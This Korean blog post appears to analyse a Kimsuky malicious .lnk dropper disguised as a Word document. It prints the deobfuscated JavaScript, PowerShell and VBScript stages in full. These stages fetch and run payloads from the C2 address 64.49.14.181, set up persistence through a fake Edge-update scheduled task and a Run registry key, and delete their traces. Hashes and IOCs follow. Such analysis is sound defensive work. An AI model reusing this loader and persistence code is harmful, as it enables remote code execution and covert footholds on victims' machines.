자는 사이에 트위터에 새로운 김수키 파일이 업로드 됐다고 글이 올라왔는데 추석이지만 김수키 악성코드는 못 참지... (Malware bazaar 업로드 시간: 2024-09-16 16:34:31 UTC)
많이 봐와서 이제 재미없지만 이번 악성 lnk 파일도 아래와 같이 일반 docx 문서 파일 아이콘으로 위장하며 클릭 시 코드가 실행됩니다.
파일의 properties을 보자마자 냄새 나지... mshta, base64... 좋을 리가 없죠.
빠른 분석을 위하여 Eric Zimmerman님의 LECmd라는 툴을 사용했습니다. 실행 시 해당 .lnk 파일이 어떤 악성 행위를 하는지 바로 알 수 있습니다. 아래 코드를 보니 해당 lnk 파일은 C2 서버인 64.49.14[.]181와 통신하여 base64 인코딩 되어 있는 콘텐츠를 받고, .zip 파일에 저장합니다. 파일들이 압축된 후 C:\programdata에 저장되고 기본 zip 파일은 삭제됩니다.
zip 폴더에 담겼던 "s.vbs" 파일이 실행되고, "nt91610"라는 이름으로 작업 스케줄에 추가됩니다. 이를 활용하여 지속성을 확보할 수 있습니다.
javascript:
p = "se64String($z);$";
s = "Stream";
w = "a=new Act" + "iveXObject('WScr"+"ipt.Shell');a.Run(c,0,0);close();";
a = "System.IO." + s;
t = " -Path $t -";
n = "New-Object System.";
d = "c:\\programdata";
c = "power" + "shell -ep bypass -c $r='64.49.14.181';$p='8014';$r=" + n+"IO." + s+"Reader((" + n+"Net.Sockets.TcpClient($r, $p)).Get" + s+"());$z=$r.ReadLine();$b=[Con" + "vert]::FromBa" + p+"t='"+d+"\\t.zip';Set-Content" + t+"V $b -Encoding Byte;Expand-Archive" + t+"D " + d+";del $t;$v='"+d+"\\s.vbs';&$v;sc " + d+"\\nt91610 81";
eval(w);
//위 c 변수의 파워셸 코드 정리
powershell -ep bypass -c $r='64.49.14.181';$p='8014';
$r=New-Object System.IO.StreamReader((New-Object System.Net.Sockets.TcpClient($r, $p)).GetStream());
$z=$r.ReadLine();
$b=[Convert]::FromBase64String($z);
$t='c:\\programdata\\t.zip';
Set-Content -Path $t -Value $b -Encoding Byte;
Expand-Archive -Path $t -DestinationPath c:\\programdata;
del $t;
$v='c:\\programdata\\s.vbs';
&$v;
sc.exe create nt91610 binPath= c:\\programdata\\s.vbs start= auto
zip 파일의 콘텐츠는 다음과 같고, "s.vbs" 파일부터 분석하겠습니다.
"s.vbs" 파일의 내용은 그림6에서 확인할 수 있습니다.
"iko9"라는 변수에 인코딩되어 있는 내용이 저장되어 있습니다. 밑에서 2번째 줄에서 디코딩된 코드가 "Execute"이라는 명령어로 실행됩니다. 어떤 코드가 실행되는지 궁금하니 Execute 명령보다는 " WScript.Echo"라는 명령어를 사용하여 출력합니다.
훨씬 낫다... 가끔은 동적 분석이 더 빠르고 편할 때가 있죠 :)
그림 7번의 코드가 읽히기가 편하게 "beautiy"했습니다. 이번 코드도 기존 .lnk 파일 코딩 방식하고 비슷합니다. 실행될 명령어들을 몇 개로 나눠 나중에 집합하며 보안 제품 우회를 위한 기법인 것으로 추정됩니다.
흐름을 살펴 보겠습니다:
1. 1분마다 실행되고 " MicrosoftEdgeUpdateTaskMSCore[57164-71251-9342]"이라는 스케줄 작업 생성. wscript를 활용하여 zip 폴더의 "07578.tmp"파일을 실행시킵니다.
2. DOC578309.docx라는 파일을 열지만 내용은 쓰지 않는 것 같습니다. (decoy 파일?)
3. HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run 레지스트리 키에 Winload이라는 엔트리가 생기고 실행될 파일은 "R9147.vbs"라는 파일입니다. 스케쥴 작업 말고도 다른 지속성 확보 방법입니다.
4. 파워셸을 활용하여 "xm568.tmp"라는 파일이 실행됩니다.
5. "s.vbs" 파일이 삭제됩니다.
mkc= "Script.":
smocv="Set monce = W":
bothec=smocv + mkc + "CreateObj":
jsm = bothec + "ect(""WScript.Shell""):":
Execute jsm:
cl= "cmd /c schtasks /create /sc minute /mo 1 /tn MicrosoftEdgeUpdateTaskMSCore[57164-71251-9342] /tr ""wscript //e:vbscript //b C:\\ProgramData\\07578.tmp"" /f":
monce.Run cl, 0, false:
dc="c:\\programdata\\DOC578309.docx":
Set fso = CreateObject("Scripting.Filesystemobject"):
set fp = fso.OpenTextFile(dc, 2, True):
fp.Write "":
fp.close:
Set opsce = CreateObject("Shell.Application"):
jsm="opsce.ShellExecute dc:":
Execute jsm:
kic1="ws\system32\wscript.exe /b /e:vbscript C:\\ProgramData\\R9147.vbs"" /f":
qoc="dows\CurrentVersion\Run"" /v Winload /t REG_SZ /d ""c:\windo"+ kic1:
tmp2="KCU\Software\Microsoft\Win" + qoc:
untiy = "cmd /c r":
tmp1="eg add ""H":
tmp3=tmp1+tmp2:
trn1=untiy+tmp3:
monce.Run trn1, 0, false:
untiy = "powershell -ep bypass -command $fn='C:\\ProgramData\\xM568.tmp';$d = Get-Content $fn; Invoke-Expression $d;":
monce.Run untiy, 0, false:
s1="WScri":
s2="ep(2000):Se":
s3="ct = CreateOb":
s4="DeleteFile":
str1=s1+"pt.Sle"+s2+"t tyhun"+s3+"ject(""Scripting.FileSystemObject""):tyhunct."+s4+"(""C:\\ProgramData\\s.vbs""):":
Execute str1:
s.vbs 파일하고 매우 비슷해서 똑같이 Execution 대신 WScript.Echo를 사용합니다.
Output은 다음과 같습니다:
1. 파워셸을 통해서 x5023.tmp 파일을 실행시킵니다.
2. 파워셸을 통해서 tmpz.dat 파일을 실행시킵니다 (zip 폴더에 미포함).
3. tmpz.dat 파일이 삭제됩니다.
Sub sefdbse(p_Tar):
End Sub:
Set sh = WScript.CreateObject("WScript.Shell"):
pow_cmd = "powershell -ep bypass -command $fn='C:\\ProgramData\\xS023.tmp';$d = Get-Content $fn; Invoke-Expression $d;":
sh.Run pow_cmd, 0, true:
pow_cmd = "powershell -ep bypass -command $fn='C:\\ProgramData\\tmpz.dat';$e = Get-Content $fn; Invoke-Expression $e;":
sh.Run pow_cmd, 0, false:
WScript.Sleep(2000):
Set smicve = CreateObject("Scripting.FileSystemObject"):
smicve.DeleteFile("C:\\ProgramData\\tmpz.dat"):
이 파일도 역시 비슷하니 정리된 코드만 보겠습니다.
1. 파워셸을 통해서 xM568.tmp 파일을 실행시킵니다.
Set sh = WScript.CreateObject("WScript.Shell"):
bewcdf = "powershell -ep bypass -command $fn='C:\\ProgramData\\xM568.tmp';$d = Get-Content $fn; Invoke-Expression $d;":
sh.Run bewcdf, 0, false:
파워셸 파일도 vbs 파일하고 비슷한 인코딩 방식을 사용합니다.
파일 끝에 있는 "Invoke-Expression" 명령어 대신 출력해 주는 "Write-Host"를 사용합니다.
훨~~씬 낫다.
1. 7032번 포트를 활용하여 64.49.14[.]181 IP 주소와 통신합니다.
2. "ScR38294"라는 Mutex를 만들어 이미 작동 중인 프로세스가 존재하는지 확인합니다. 존재한다면 프로세스 종료됩니다.
3. NetworkStream으로부터 데이터를 읽어오는 StreamReader를 만들어 읽은 데이터가 0이 아닌 경우 데이터를 "tmps1.ps1"이라는 파일에 저장해 두고 파워셸로 실행시킵니다. 실행된 후 파일이 삭제됩니다.
오케이, 또 똑같은 방식이니 똑같은 Invoke-Execution 대신 Write-Host 방법을 쓰겠습니다.
아이피는 똑같지만 포트는 7031입니다. 위 파워셸하고 똑같이 데이터를 받아 임시 파일 (mex.ps1)에 저장해 두고, 실행시킨 후에 파일을 삭제합니다.
40c9f86e343f5a54570162bcca2d18f046d65c310d3ccfe975a2c2c31c5c47cb
5356b49086c693e6effdc73978fa63c0f191978b401e128bef8e248db1544e75
b7fc11f37433b4f1d357e43b5a26802a96f5f043f70289360d60b12d6248e5ea
963af57641c094df6b5656552daaafd5ced0a1435261e612a4640604d023ebca
c4aba442d881cfa112fe3a6b1d2381b089cbe163828cfdb2d57abba95737a07d
2da46ae5dbabc6442cc0d2698725dae918befa9f192992f58ebbebd4ac3e2888
41cf6298a41c27357ee5f70d8cd1c0bd48698fc30c4255fad6a91798286e5229
64.49.14[.]181
마이크로소프트 오피스 새로운 원격 코드 실행 0-day 혹은 1-click? (0) | 2022.05.30 |
---|---|
사이버 전쟁의 시대가 도달했다. 러시아와 우크라이나 역사 살펴보기 및 WhisperGate 악성코드 (0) | 2022.05.19 |
Word 파일 속에 악성코드. 공격과 방어 방법 (0) | 2022.05.19 |